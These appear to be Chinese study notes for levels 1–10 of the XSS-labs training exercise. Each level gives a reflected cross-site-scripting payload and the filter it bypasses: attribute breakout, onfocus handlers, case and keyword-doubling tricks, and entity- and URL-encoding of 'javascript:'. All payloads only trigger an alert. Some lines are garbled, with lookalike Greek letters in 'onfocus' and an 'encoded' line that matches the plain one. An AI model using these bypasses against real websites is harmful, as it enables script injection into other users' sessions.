XSS-labs
1
<script>alert(/gjl/)</script>
2
源码
左边补引号和大于号
?keyword="><script>alert(/gjl/)</script>
3
尖括号被过滤,但输入内容显示再下方的input
标签中
使用 '
匹配 value 的'
跳出 value,在 input 标签中添加事件
?keyword='οnfοcus='alert(/gjl/)
4
尖括号被过滤
双引号匹配跳出 value
?keyword="οnfοcus="alert(/gjl/)
5
?keyword="><a href="javascript:alert(/gjl/)">click</a>"
6
大小写绕过
?keyword=" Onfocus="alert(/gjl/)
7
?keyword="oonnfocus="alert(/gjl/)
8
javascript 被过滤
编码绕过
// 攻击代码
?keyword=javascript:alert(/gjl/)
// 对 javascript 十进制编码
?keyword=javascript:alert(/gjl/)
// 对输入的参数进行 url 编码
?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%3Aalert(%2Fgjl%2F)
9
连接不合法
输入 http:// 的时候合法
编码
?keyword=javascript:alert('http://')
?keyword=javascript:alert('http://')
?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%3Aalert('http%3A%2F%2F')
10
没有 value=keyword 的输入框
有三个隐藏的输入框
尝试给三个输入框传参
发现只有 t_sort 可以传参
?t_sort="οnfοcus="alert(/gjl/)